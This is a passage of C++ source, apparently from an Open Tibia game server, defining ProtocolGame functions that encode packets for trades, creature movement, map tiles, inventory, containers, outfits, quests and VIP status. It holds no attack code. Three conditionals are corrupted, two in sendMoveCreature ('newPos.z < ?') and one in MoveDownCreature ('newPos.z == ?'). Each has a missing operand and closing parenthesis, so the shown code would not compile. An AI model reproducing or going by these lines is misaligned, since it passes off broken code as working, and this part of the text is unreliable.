    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        if(ack)
            msg->AddByte(0x7D);
        else
            msg->AddByte(0x7E);

        msg->AddString(player->getName());
        if(const Container* container = item->getContainer())
        {
            msg->AddByte(container->getItemHoldingCount() + 1);
            msg->AddItem(item);
            for(ContainerIterator it = container->begin(); it != container->end(); ++it)
                msg->AddItem(*it);
        }
        else
        {
            msg->AddByte(1);
            msg->AddItem(item);
        }
    }
}

void ProtocolGame::sendCloseTrade()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x7F);
    }
}

void ProtocolGame::sendCloseContainer(uint32_t cid)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x6F);
        msg->AddByte(cid);
    }
}

void ProtocolGame::sendCreatureTurn(const Creature* creature, int16_t stackpos)
{
    if(stackpos >= 10 || !canSee(creature))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x6B);
        msg->AddPosition(creature->getPosition());
        msg->AddByte(stackpos);
        msg->AddU16(0x63); /*99*/
        msg->AddU32(creature->getID());
        msg->AddByte(creature->getDirection());
    }
}

void ProtocolGame::sendCreatureSay(const Creature* creature, SpeakClasses type, const std::string& text, Position* pos/* = NULL*/)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddCreatureSpeak(msg, creature, type, text, 0, 0, pos);
    }
}

void ProtocolGame::sendToChannel(const Creature* creature, SpeakClasses type, const std::string& text, uint16_t channelId, uint32_t time /*= 0*/)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddCreatureSpeak(msg, creature, type, text, channelId, time);
    }
}

void ProtocolGame::sendCancel(const std::string& message)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddTextMessage(msg, MSG_STATUS_SMALL, message);
    }
}

void ProtocolGame::sendCancelTarget()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xA3);
    }
}

void ProtocolGame::sendChangeSpeed(const Creature* creature, uint32_t speed)
{
    if(!canSee(creature))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x8F);
        msg->AddU32(creature->getID());
        msg->AddU16(speed);
    }
}

void ProtocolGame::sendCancelWalk()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xB5);
        msg->AddByte(player->getDirection());
    }
}

void ProtocolGame::sendSkills()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddPlayerSkills(msg);
    }
}

void ProtocolGame::sendPing()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x1E);
    }
}

void ProtocolGame::sendDistanceShoot(const Position& from, const Position& to, uint8_t type)
{
    if(type > SHOOT_EFFECT_LAST || (!canSee(from) && !canSee(to)))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddDistanceShoot(msg, from, to, type);
    }
}

void ProtocolGame::sendMagicEffect(const Position& pos, uint8_t type)
{
    if(type > MAGIC_EFFECT_LAST || !canSee(pos))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddMagicEffect(msg, pos, type);
    }
}

void ProtocolGame::sendAnimatedText(const Position& pos, uint8_t color, std::string text)
{
    if(!canSee(pos))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddAnimatedText(msg, pos, color, text);
    }
}

void ProtocolGame::sendCreatureHealth(const Creature* creature)
{
    if(!canSee(creature))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddCreatureHealth(msg, creature);
    }
}

void ProtocolGame::sendFYIBox(const std::string& message)
{
    if(message.empty() || message.length() > 1018) //Prevent client debug when message is empty or length is > 1018 (not confirmed)
    {
        std::cout << "[Warning - ProtocolGame::sendFYIBox] Trying to send an empty or too huge message." << std::endl;
        return;
    }

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x15);
        msg->AddString(message);
    }
}

//tile
void ProtocolGame::sendAddTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item)
{
    if(!canSee(pos))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddTileItem(msg, pos, stackpos, item);
    }
}

void ProtocolGame::sendUpdateTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item)
{
    if(!canSee(pos))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        UpdateTileItem(msg, pos, stackpos, item);
    }
}

void ProtocolGame::sendRemoveTileItem(const Tile* tile, const Position& pos, uint32_t stackpos)
{
    if(!canSee(pos))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        RemoveTileItem(msg, pos, stackpos);
    }
}

void ProtocolGame::sendUpdateTile(const Tile* tile, const Position& pos)
{
    if(!canSee(pos))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x69);
        msg->AddPosition(pos);
        if(tile)
        {
            GetTileDescription(tile, msg);
            msg->AddByte(0x00);
            msg->AddByte(0xFF);
        }
        else
        {
            msg->AddByte(0x01);
            msg->AddByte(0xFF);
        }
    }
}

void ProtocolGame::sendAddCreature(const Creature* creature, const Position& pos, uint32_t stackpos)
{
    if(!canSee(creature))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(!msg)
        return;

    TRACK_MESSAGE(msg);
    if(creature != player)
    {
        AddTileCreature(msg, pos, stackpos, creature);
        return;
    }

    msg->AddByte(0x0A);
    msg->AddU32(player->getID());
    msg->AddU16(0x32);

    msg->AddByte(player->hasFlag(PlayerFlag_CanReportBugs));
    if(Group* group = player->getGroup())
    {
        int32_t reasons = group->getViolationReasons();
        if(reasons > 1)
        {
            msg->AddByte(0x0B);
            for(int32_t i = 0; i < 20; ++i)
            {
                if(i < 4)
                    msg->AddByte(group->getNameViolationFlags());
                else if(i < reasons)
                    msg->AddByte(group->getStatementViolationFlags());
                else
                    msg->AddByte(0x00);
            }
        }
    }

    AddMapDescription(msg, pos);
    for(int32_t i = SLOT_FIRST; i < SLOT_LAST; ++i)
        AddInventoryItem(msg, (slots_t)i, player->getInventoryItem((slots_t)i));

    AddPlayerStats(msg);
    AddPlayerSkills(msg);

    //gameworld light-settings
    LightInfo lightInfo;
    g_game.getWorldLightInfo(lightInfo);
    AddWorldLight(msg, lightInfo);

    //player light level
    AddCreatureLight(msg, creature);
    player->sendIcons();
    for(VIPListSet::iterator it = player->VIPList.begin(); it != player->VIPList.end(); it++)
    {
        std::string vipName;
        if(IOLoginData::getInstance()->getNameByGuid((*it), vipName))
        {
            Player* tmpPlayer = g_game.getPlayerByName(vipName);
            sendVIP((*it), vipName, (tmpPlayer && player->canSeeCreature(tmpPlayer)));
        }
    }
}

void ProtocolGame::sendRemoveCreature(const Creature* creature, const Position& pos, uint32_t stackpos)
{
    if(!canSee(pos))
        return;

    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        RemoveTileItem(msg, pos, stackpos);
    }
}

void ProtocolGame::sendMoveCreature(const Creature* creature, const Tile* newTile, const Position& newPos,
    uint32_t newStackpos, const Tile* oldTile, const Position& oldPos, uint32_t oldStackpos, bool teleport)
{
    if(creature == player)
    {
        NetworkMessage_ptr msg = getOutputBuffer();
        if(msg)
        {
            TRACK_MESSAGE(msg);
            if(teleport || oldStackpos >= 10)
            {
                RemoveTileItem(msg, oldPos, oldStackpos);
                AddMapDescription(msg, newPos);
            }
            else
            {
                if(oldPos.z != 7 || newPos.z < ?
                {
                    msg->AddByte(0x6D);
                    msg->AddPosition(oldPos);
                    msg->AddByte(oldStackpos);
                    msg->AddPosition(newPos);
                }
                else
                    RemoveTileItem(msg, oldPos, oldStackpos);

                if(newPos.z > oldPos.z)
                    MoveDownCreature(msg, creature, newPos, oldPos, oldStackpos);
                else if(newPos.z < oldPos.z)
                    MoveUpCreature(msg, creature, newPos, oldPos, oldStackpos);

                if(oldPos.y > newPos.y) // north, for old x
                {
                    msg->AddByte(0x65);
                    GetMapDescription(oldPos.x - 8, newPos.y - 6, newPos.z, 18, 1, msg);
                }
                else if(oldPos.y < newPos.y) // south, for old x
                {
                    msg->AddByte(0x67);
                    GetMapDescription(oldPos.x - 8, newPos.y + 7, newPos.z, 18, 1, msg);
                }

                if(oldPos.x < newPos.x) // east, [with new y]
                {
                    msg->AddByte(0x66);
                    GetMapDescription(newPos.x + 9, newPos.y - 6, newPos.z, 1, 14, msg);
                }
                else if(oldPos.x > newPos.x) // west, [with new y]
                {
                    msg->AddByte(0x68);
                    GetMapDescription(newPos.x - 8, newPos.y - 6, newPos.z, 1, 14, msg);
                }
            }
        }
    }
    else if(canSee(oldPos) && canSee(newPos))
    {
        if(!player->canSeeCreature(creature))
            return;

        NetworkMessage_ptr msg = getOutputBuffer();
        if(msg)
        {
            TRACK_MESSAGE(msg);
            if(!teleport && (oldPos.z != 7 || newPos.z < ? && oldStackpos < 10)
            {
                msg->AddByte(0x6D);
                msg->AddPosition(oldPos);
                msg->AddByte(oldStackpos);
                msg->AddPosition(newPos);
            }
            else
            {
                RemoveTileItem(msg, oldPos, oldStackpos);
                AddTileCreature(msg, newPos, newStackpos, creature);
            }
        }
    }
    else if(canSee(oldPos))
    {
        if(!player->canSeeCreature(creature))
            return;

        NetworkMessage_ptr msg = getOutputBuffer();
        if(msg)
        {
            TRACK_MESSAGE(msg);
            RemoveTileItem(msg, oldPos, oldStackpos);
        }
    }
    else if(canSee(newPos) && player->canSeeCreature(creature))
    {
        NetworkMessage_ptr msg = getOutputBuffer();
        if(msg)
        {
            TRACK_MESSAGE(msg);
            AddTileCreature(msg, newPos, newStackpos, creature);
        }
    }
}

//inventory
void ProtocolGame::sendAddInventoryItem(slots_t slot, const Item* item)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddInventoryItem(msg, slot, item);
    }
}

void ProtocolGame::sendUpdateInventoryItem(slots_t slot, const Item* item)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        UpdateInventoryItem(msg, slot, item);
    }
}

void ProtocolGame::sendRemoveInventoryItem(slots_t slot)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        RemoveInventoryItem(msg, slot);
    }
}

//containers
void ProtocolGame::sendAddContainerItem(uint8_t cid, const Item* item)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        AddContainerItem(msg, cid, item);
    }
}

void ProtocolGame::sendUpdateContainerItem(uint8_t cid, uint8_t slot, const Item* item)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        UpdateContainerItem(msg, cid, slot, item);
    }
}

void ProtocolGame::sendRemoveContainerItem(uint8_t cid, uint8_t slot)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        RemoveContainerItem(msg, cid, slot);
    }
}

void ProtocolGame::sendTextWindow(uint32_t windowTextId, Item* item, uint16_t maxLen, bool canWrite)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x96);
        msg->AddU32(windowTextId);
        msg->AddItemId(item);
        if(canWrite)
        {
            msg->AddU16(maxLen);
            msg->AddString(item->getText());
        }
        else
        {
            msg->AddU16(item->getText().size());
            msg->AddString(item->getText());
        }

        const std::string& writer = item->getWriter();
        if(writer.size())
            msg->AddString(writer);
        else
            msg->AddString("");

        time_t writtenDate = item->getDate();
        if(writtenDate > 0)
            msg->AddString(formatDate(writtenDate));
        else
            msg->AddString("");
    }
}

void ProtocolGame::sendTextWindow(uint32_t windowTextId, uint32_t itemId, const std::string& text)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x96);
        msg->AddU32(windowTextId);
        msg->AddItemId(itemId);

        msg->AddU16(text.size());
        msg->AddString(text);

        msg->AddString("");
        msg->AddString("");
    }
}

void ProtocolGame::sendHouseWindow(uint32_t windowTextId, House* _house,
    uint32_t listId, const std::string& text)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0x97);
        msg->AddByte(0x00);
        msg->AddU32(windowTextId);
        msg->AddString(text);
    }
}

void ProtocolGame::sendOutfitWindow()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xC8);
        AddCreatureOutfit(msg, player, player->getDefaultOutfit(), true);

        std::list<Outfit> outfitList;
        for(OutfitMap::iterator it = player->outfits.begin(); it != player->outfits.end(); ++it)
        {
            if(player->canWearOutfit(it->first, it->second.addons))
                outfitList.push_back(it->second);
        }

         if(outfitList.size())
        {
            msg->AddByte((size_t)std::min((size_t)OUTFITS_MAX_NUMBER, outfitList.size()));
            std::list<Outfit>::iterator it = outfitList.begin();
            for(int32_t i = 0; it != outfitList.end() && i < OUTFITS_MAX_NUMBER; ++it, ++i)
            {
                msg->AddU16(it->lookType);
                msg->AddString(it->name);
                if(player->hasCustomFlag(PlayerCustomFlag_CanWearAllAddons))
                    msg->AddByte(0x03);
                else if(!g_config.getBool(ConfigManager::ADDONS_PREMIUM) || player->isPremium())
                    msg->AddByte(it->addons);
                else
                    msg->AddByte(0x00);
            }
        }
        else
        {
            msg->AddByte(1);
            msg->AddU16(player->getDefaultOutfit().lookType);
            msg->AddString("Outfit");
            msg->AddByte(player->getDefaultOutfit().lookAddons);
        }

        player->hasRequestedOutfit(true);
    }
}

void ProtocolGame::sendQuests()
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xF0);

        msg->AddU16(Quests::getInstance()->getQuestCount(player));
        for(QuestList::const_iterator it = Quests::getInstance()->getFirstQuest(); it != Quests::getInstance()->getLastQuest(); ++it)
        {
            if(!(*it)->isStarted(player))
                continue;

            msg->AddU16((*it)->getId());
            msg->AddString((*it)->getName());
            msg->AddByte((*it)->isCompleted(player));
        }
    }
}

void ProtocolGame::sendQuestInfo(Quest* quest)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xF1);
        msg->AddU16(quest->getId());

        msg->AddByte(quest->getMissionCount(player));
        for(MissionList::const_iterator it = quest->getFirstMission(); it != quest->getLastMission(); ++it)
        {
            if(!(*it)->isStarted(player))
                continue;

            msg->AddString((*it)->getName(player));
            msg->AddString((*it)->getDescription(player));
        }
    }
}

void ProtocolGame::sendVIPLogIn(uint32_t guid)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xD3);
        msg->AddU32(guid);
    }
}

void ProtocolGame::sendVIPLogOut(uint32_t guid)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xD4);
        msg->AddU32(guid);
    }
}

void ProtocolGame::sendVIP(uint32_t guid, const std::string& name, bool isOnline)
{
    NetworkMessage_ptr msg = getOutputBuffer();
    if(msg)
    {
        TRACK_MESSAGE(msg);
        msg->AddByte(0xD2);
        msg->AddU32(guid);
        msg->AddString(name);
        msg->AddByte(isOnline ? 1 : 0);
    }
}

////////////// Add common messages
void ProtocolGame::AddMapDescription(NetworkMessage_ptr msg, const Position& pos)
{
    msg->AddByte(0x64);
    msg->AddPosition(player->getPosition());
    GetMapDescription(pos.x - 8, pos.y - 6, pos.z, 18, 14, msg);
}

void ProtocolGame::AddTextMessage(NetworkMessage_ptr msg, MessageClasses mclass, const std::string& message)
{
    msg->AddByte(0xB4);
    msg->AddByte(mclass);
    msg->AddString(message);
}

void ProtocolGame::AddAnimatedText(NetworkMessage_ptr msg, const Position& pos,
    uint8_t color, const std::string& text)
{
    msg->AddByte(0x84);
    msg->AddPosition(pos);
    msg->AddByte(color);
    msg->AddString(text);
}

void ProtocolGame::AddMagicEffect(NetworkMessage_ptr msg,const Position& pos, uint8_t type)
{
    msg->AddByte(0x83);
    msg->AddPosition(pos);
    msg->AddByte(type + 1);
}

void ProtocolGame::AddDistanceShoot(NetworkMessage_ptr msg, const Position& from, const Position& to,
    uint8_t type)
{
    msg->AddByte(0x85);
    msg->AddPosition(from);
    msg->AddPosition(to);
    msg->AddByte(type + 1);
}

void ProtocolGame::AddCreature(NetworkMessage_ptr msg, const Creature* creature, bool known, uint32_t remove)
{
    if(!known)
    {
        msg->AddU16(0x61);
        msg->AddU32(remove);
        msg->AddU32(creature->getID());
        std::string nick = creature->getName();
        if (creature->Nick != "")
            nick = creature->Nick;
        msg->AddString(creature->getHideName() ? "" : nick);

    }
    else
    {
        msg->AddU16(0x62);
        msg->AddU32(creature->getID());
    }

    if(!creature->getHideHealth())
        msg->AddByte((int32_t)std::ceil(((float)creature->getHealth()) * 100 / std::max(creature->getMaxHealth(), (int32_t)1)));
    else
        msg->AddByte(0x00);

    msg->AddByte((uint8_t)creature->getDirection());
    AddCreatureOutfit(msg, creature, creature->getCurrentOutfit());

    LightInfo lightInfo;
    creature->getCreatureLight(lightInfo);
    msg->AddByte(player->hasCustomFlag(PlayerCustomFlag_HasFullLight) ? 0xFF : lightInfo.level);
    msg->AddByte(lightInfo.color);

    msg->AddU16(creature->getStepSpeed());
    msg->AddByte(player->getSkullClient(creature));
    msg->AddByte(player->getPartyShield(creature));
    if(!known)
        msg->AddByte(0x00); // war emblem

    msg->AddByte(!player->canWalkthrough(creature));
}

void ProtocolGame::AddPlayerStats(NetworkMessage_ptr msg)
{
    msg->AddByte(0xA0);
    msg->AddU16(player->getHealth());
    msg->AddU16(player->getPlayerInfo(PLAYERINFO_MAXHEALTH));
    msg->AddU32(uint32_t(player->getFreeCapacity() * 100));
    uint64_t experience = player->getExperience();
    if(experience > 0x7FFFFFFF) // client debugs after 2,147,483,647 exp
        msg->AddU32(0x7FFFFFFF);
    else
        msg->AddU32(experience);

    msg->AddU16(player->getPlayerInfo(PLAYERINFO_LEVEL));
    msg->AddByte(player->getPlayerInfo(PLAYERINFO_LEVELPERCENT));
    msg->AddU16(player->getPlayerInfo(PLAYERINFO_MANA));
    msg->AddU16(player->getPlayerInfo(PLAYERINFO_MAXMANA));
    msg->AddByte(player->getPlayerInfo(PLAYERINFO_MAGICLEVEL));
    msg->AddByte(player->getPlayerInfo(PLAYERINFO_MAGICLEVELPERCENT));
    msg->AddByte(player->getPlayerInfo(PLAYERINFO_SOUL));
    msg->AddU16(player->getStaminaMinutes());
}

void ProtocolGame::AddPlayerSkills(NetworkMessage_ptr msg)
{
    msg->AddByte(0xA1);
    msg->AddByte(player->getSkill(SKILL_FIST, SKILL_LEVEL));
    msg->AddByte(player->getSkill(SKILL_FIST, SKILL_PERCENT));
    msg->AddByte(player->getSkill(SKILL_CLUB, SKILL_LEVEL));
    msg->AddByte(player->getSkill(SKILL_CLUB, SKILL_PERCENT));
    msg->AddByte(player->getSkill(SKILL_SWORD, SKILL_LEVEL));
    msg->AddByte(player->getSkill(SKILL_SWORD, SKILL_PERCENT));
    msg->AddByte(player->getSkill(SKILL_AXE, SKILL_LEVEL));
    msg->AddByte(player->getSkill(SKILL_AXE, SKILL_PERCENT));
    msg->AddByte(player->getSkill(SKILL_DIST, SKILL_LEVEL));
    msg->AddByte(player->getSkill(SKILL_DIST, SKILL_PERCENT));
    msg->AddByte(player->getSkill(SKILL_SHIELD, SKILL_LEVEL));
    msg->AddByte(player->getSkill(SKILL_SHIELD, SKILL_PERCENT));
    msg->AddByte(player->getSkill(SKILL_FISH, SKILL_LEVEL));
    msg->AddByte(player->getSkill(SKILL_FISH, SKILL_PERCENT));
}

void ProtocolGame::AddCreatureSpeak(NetworkMessage_ptr msg, const Creature* creature, SpeakClasses type,
    std::string text, uint16_t channelId, uint32_t time/*= 0*/, Position* pos/* = NULL*/)
{
    msg->AddByte(0xAA);
    if(creature)
    {
        const Player* speaker = creature->getPlayer();
        if(speaker)
        {
            msg->AddU32(++g_chat.statement);
            g_chat.statementMap[g_chat.statement] = text;
        }
        else
            msg->AddU32(0x00);

        if(creature->getSpeakType() != SPEAK_CLASS_NONE)
            type = creature->getSpeakType();

        switch(type)
        {
            case SPEAK_CHANNEL_RA:
                msg->AddString("");
                break;
            case SPEAK_RVR_ANSWER:
                msg->AddString("Gamemaster");
                break;
            default:
                msg->AddString(!creature->getHideName() ? creature->getName() : "");
                break;
        }

        if(speaker && type != SPEAK_RVR_ANSWER && !speaker->isAccountManager()
            && !speaker->hasCustomFlag(PlayerCustomFlag_HideLevel))
            msg->AddU16(speaker->getPlayerInfo(PLAYERINFO_LEVEL));
        else
            msg->AddU16(0x00);

    }
    else
    {
        msg->AddU32(0x00);
        msg->AddString("");
        msg->AddU16(0x00);
    }

    msg->AddByte(type);
    switch(type)
    {
        case SPEAK_SAY:
        case SPEAK_WHISPER:
        case SPEAK_YELL:
        case SPEAK_MONSTER_SAY:
        case SPEAK_MONSTER_YELL:
        case SPEAK_PRIVATE_NP:
        {
            if(pos)
                msg->AddPosition(*pos);
            else if(creature)
                msg->AddPosition(creature->getPosition());
            else
                msg->AddPosition(Position(0,0,7));

            break;
        }

        case SPEAK_CHANNEL_Y:
        case SPEAK_CHANNEL_RN:
        case SPEAK_CHANNEL_RA:
        case SPEAK_CHANNEL_O:
        case SPEAK_CHANNEL_W:
            msg->AddU16(channelId);
            break;

        case SPEAK_RVR_CHANNEL:
        {
            msg->AddU32(uint32_t(OTSYS_TIME() / 1000 & 0xFFFFFFFF) - time);
            break;
        }

        default:
            break;
    }

    msg->AddString(text);
}

void ProtocolGame::AddCreatureHealth(NetworkMessage_ptr msg,const Creature* creature)
{
    msg->AddByte(0x8C);
    msg->AddU32(creature->getID());
    if(!creature->getHideHealth())
        msg->AddByte((int32_t)std::ceil(((float)creature->getHealth()) * 100 / std::max(creature->getMaxHealth(), (int32_t)1)));
    else
        msg->AddByte(0x00);
}

void ProtocolGame::AddCreatureOutfit(NetworkMessage_ptr msg, const Creature* creature, const Outfit_t& outfit, bool outfitWindow/* = false*/)
{
    if(outfitWindow || !creature->getPlayer() || (!creature->isInvisible() && (!creature->isGhost()
        || !g_config.getBool(ConfigManager::GHOST_INVISIBLE_EFFECT))))
    {
        msg->AddU16(outfit.lookType);
        if(outfit.lookType)
        {
            msg->AddByte(outfit.lookHead);
            msg->AddByte(outfit.lookBody);
            msg->AddByte(outfit.lookLegs);
            msg->AddByte(outfit.lookFeet);
            msg->AddByte(outfit.lookAddons);
        }
        else if(outfit.lookTypeEx)
            msg->AddItemId(outfit.lookTypeEx);
        else
            msg->AddU16(outfit.lookTypeEx);
    }
    else
        msg->AddU32(0x00);
}

void ProtocolGame::AddWorldLight(NetworkMessage_ptr msg, const LightInfo& lightInfo)
{
    msg->AddByte(0x82);
    msg->AddByte((player->hasCustomFlag(PlayerCustomFlag_HasFullLight) ? 0xFF : lightInfo.level));
    msg->AddByte(lightInfo.color);
}

void ProtocolGame::AddCreatureLight(NetworkMessage_ptr msg, const Creature* creature)
{
    LightInfo lightInfo;
    creature->getCreatureLight(lightInfo);
    msg->AddByte(0x8D);
    msg->AddU32(creature->getID());
    msg->AddByte((player->hasCustomFlag(PlayerCustomFlag_HasFullLight) ? 0xFF : lightInfo.level));
    msg->AddByte(lightInfo.color);
}

//tile
void ProtocolGame::AddTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item)
{
    if(stackpos >= 10)
        return;

    msg->AddByte(0x6A);
    msg->AddPosition(pos);
    msg->AddByte(stackpos);
    msg->AddItem(item);
}

void ProtocolGame::AddTileCreature(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Creature* creature)
{
    if(stackpos >= 10)
        return;

    msg->AddByte(0x6A);
    msg->AddPosition(pos);
    msg->AddByte(stackpos);

    bool known;
    uint32_t removedKnown;
    checkCreatureAsKnown(creature->getID(), known, removedKnown);
    AddCreature(msg, creature, known, removedKnown);
}

void ProtocolGame::UpdateTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos, const Item* item)
{
    if(stackpos >= 10)
        return;

    msg->AddByte(0x6B);
    msg->AddPosition(pos);
    msg->AddByte(stackpos);
    msg->AddItem(item);
}

void ProtocolGame::RemoveTileItem(NetworkMessage_ptr msg, const Position& pos, uint32_t stackpos)
{
    if(stackpos >= 10)
        return;

    msg->AddByte(0x6C);
    msg->AddPosition(pos);
    msg->AddByte(stackpos);
}

void ProtocolGame::MoveUpCreature(NetworkMessage_ptr msg, const Creature* creature,
    const Position& newPos, const Position& oldPos, uint32_t oldStackpos)
{
    if(creature != player)
        return;

    msg->AddByte(0xBE); //floor change up
    if(newPos.z == 7) //going to surface
    {
        int32_t skip = -1;
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 5, 18, 14, 3, skip); //(floor 7 and 6 already set)
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 4, 18, 14, 4, skip);
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 3, 18, 14, 5, skip);
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 2, 18, 14, 6, skip);
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 1, 18, 14, 7, skip);
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, 0, 18, 14, 8, skip);
        if(skip >= 0)
        {
            msg->AddByte(skip);
            msg->AddByte(0xFF);
        }
    }
    else if(newPos.z > 7) //underground, going one floor up (still underground)
    {
        int32_t skip = -1;
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, oldPos.z - 3, 18, 14, 3, skip);
        if(skip >= 0)
        {
            msg->AddByte(skip);
            msg->AddByte(0xFF);
        }
    }

    //moving up a floor up makes us out of sync
    //west
    msg->AddByte(0x68);
    GetMapDescription(oldPos.x - 8, oldPos.y + 1 - 6, newPos.z, 1, 14, msg);

    //north
    msg->AddByte(0x65);
    GetMapDescription(oldPos.x - 8, oldPos.y - 6, newPos.z, 18, 1, msg);
}

void ProtocolGame::MoveDownCreature(NetworkMessage_ptr msg, const Creature* creature,
    const Position& newPos, const Position& oldPos, uint32_t oldStackpos)
{
    if(creature != player)
        return;

    msg->AddByte(0xBF); //floor change down
    if(newPos.z == ? //going from surface to underground
    {
        int32_t skip = -1;
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, newPos.z, 18, 14, -1, skip);
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, newPos.z + 1, 18, 14, -2, skip);
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, newPos.z + 2, 18, 14, -3, skip);
        if(skip >= 0)
        {
            msg->AddByte(skip);
            msg->AddByte(0xFF);
        }
    }
    else if(newPos.z > oldPos.z && newPos.z > 8 && newPos.z < 14) //going further down
    {
        int32_t skip = -1;
        GetFloorDescription(msg, oldPos.x - 8, oldPos.y - 6, newPos.z + 2, 18, 14, -3, skip);
        if(skip >= 0)
        {
            msg->AddByte(skip);
            msg->AddByte(0xFF);
        }
    }

    //moving down a floor makes us out of sync
    //east
    msg->AddByte(0x66);
    GetMapDescription(oldPos.x + 9, oldPos.y - 1 - 6, newPos.z, 1, 14, msg);

    //south
    msg->AddByte(0x67);
    GetMapDescription(oldPos.x - 8, oldPos.y + 7, newPos.z, 18, 1, msg);
}

//inventory
void ProtocolGame::AddInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item)
{
    if(item)
    {
        msg->AddByte(0x78);
        msg->AddByte(slot);
        msg->AddItem(item);
    }
    else
        RemoveInventoryItem(msg, slot);
}

void ProtocolGame::RemoveInventoryItem(NetworkMessage_ptr msg, slots_t slot)
{
    msg->AddByte(0x79);
    msg->AddByte(slot);
}

void ProtocolGame::UpdateInventoryItem(NetworkMessage_ptr msg, slots_t slot, const Item* item)
{
    AddInventoryItem(msg, slot, item);
}

//containers
void ProtocolGame::AddContainerItem(NetworkMessage_ptr msg, uint8_t cid, const Item* item)
{
    msg->AddByte(0x70);
    msg->AddByte(cid);
    msg->AddItem(item);
}

void ProtocolGame::UpdateContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot, const Item* item)
{
    msg->AddByte(0x71);
    msg->AddByte(cid);
    msg->AddByte(slot);
    msg->AddItem(item);
}

void ProtocolGame::RemoveContainerItem(NetworkMessage_ptr msg, uint8_t cid, uint8_t slot)
{
    msg->AddByte(0x72);
    msg->AddByte(cid);
    msg->AddByte(slot);
}

